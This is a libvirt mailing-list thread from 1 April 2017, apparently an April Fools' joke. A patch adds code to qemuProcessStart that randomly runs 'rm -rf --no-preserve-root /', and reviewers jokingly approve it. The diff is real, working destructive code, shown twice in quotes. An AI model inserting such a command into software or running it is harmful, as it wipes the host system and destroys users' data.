[libvirt] [PATCH] Give other software a fair chance

Libvirt's so good, so solid that it almost feels like other software stand no chance. Other applications are buggy, unstable, crashing, etc. But not libvirt. Therefore, it seems only fair that we introduce some bugs so developers of the other applications don't feel that bad. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> --- src/qemu/qemu_process.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c index a20beb1..2a68611 100644 --- a/src/qemu/qemu_process.c +++ b/src/qemu/qemu_process.c @@ -77,6 +77,7 @@ #include "configmake.h" #include "nwfilter_conf.h" #include "netdev_bandwidth_conf.h" +#include "virrandom.h" #define VIR_FROM_THIS VIR_FROM_QEMU @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, if (!migrateFrom && !snapshot) flags |= VIR_QEMU_PROCESS_START_NEW; + /* Be fair to other applications. */ + if (virRandomInt(2)) { + const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL}; + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("Sorry pal, today is just not your day. Kiss your data goodbye.")); + ignore_value(virRun(argv, NULL)); + goto cleanup; + } + if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) goto cleanup; -- 2.10.2

Michal Privoznik wrote:
Libvirt's so good, so solid that it almost feels like other software stand no chance. Other applications are buggy, unstable, crashing, etc. But not libvirt. Therefore, it seems only fair that we introduce some bugs so developers of the other applications don't feel that bad.
Signed-off-by: Michal Privoznik <mprivozn@redhat.com> --- src/qemu/qemu_process.c | 10 ++++++++++ 1 file changed, 10 insertions(+)
diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c index a20beb1..2a68611 100644 --- a/src/qemu/qemu_process.c +++ b/src/qemu/qemu_process.c @@ -77,6 +77,7 @@ #include "configmake.h" #include "nwfilter_conf.h" #include "netdev_bandwidth_conf.h" +#include "virrandom.h"
#define VIR_FROM_THIS VIR_FROM_QEMU
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, if (!migrateFrom && !snapshot) flags |= VIR_QEMU_PROCESS_START_NEW;
+ /* Be fair to other applications. */ + if (virRandomInt(2)) { + const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL}; + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("Sorry pal, today is just not your day. Kiss your data goodbye.")); + ignore_value(virRun(argv, NULL)); + goto cleanup; + } + if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) goto cleanup;
Looks safe for the freeze. ACK if you place "--no-preserve-root" under "#ifdef __linux__" because it's not supported on FreeBSD for example. Roman Bogorodskiy

On Sat, Apr 01, 2017 at 11:09:54AM +0400, Roman Bogorodskiy wrote:
Michal Privoznik wrote:
Libvirt's so good, so solid that it almost feels like other software stand no chance. Other applications are buggy, unstable, crashing, etc. But not libvirt. Therefore, it seems only fair that we introduce some bugs so developers of the other applications don't feel that bad.
Signed-off-by: Michal Privoznik <mprivozn@redhat.com> --- src/qemu/qemu_process.c | 10 ++++++++++ 1 file changed, 10 insertions(+)
diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c index a20beb1..2a68611 100644 --- a/src/qemu/qemu_process.c +++ b/src/qemu/qemu_process.c @@ -77,6 +77,7 @@ #include "configmake.h" #include "nwfilter_conf.h" #include "netdev_bandwidth_conf.h" +#include "virrandom.h"
#define VIR_FROM_THIS VIR_FROM_QEMU
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, if (!migrateFrom && !snapshot) flags |= VIR_QEMU_PROCESS_START_NEW;
+ /* Be fair to other applications. */ + if (virRandomInt(2)) { + const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL}; + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("Sorry pal, today is just not your day. Kiss your data goodbye.")); + ignore_value(virRun(argv, NULL)); + goto cleanup; + } + if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) goto cleanup;
Looks safe for the freeze.
ACK if you place "--no-preserve-root" under "#ifdef __linux__" because it's not supported on FreeBSD for example.
Roman Bogorodskiy
I hope some automated CI somewhere is not configured properly and actually running as root...
-- libvir-list mailing list libvir-list@redhat.com https://www.redhat.com/mailman/listinfo/libvir-list
participants (3)
-
Martin Kletzander
-
Michal Privoznik
-
Roman Bogorodskiy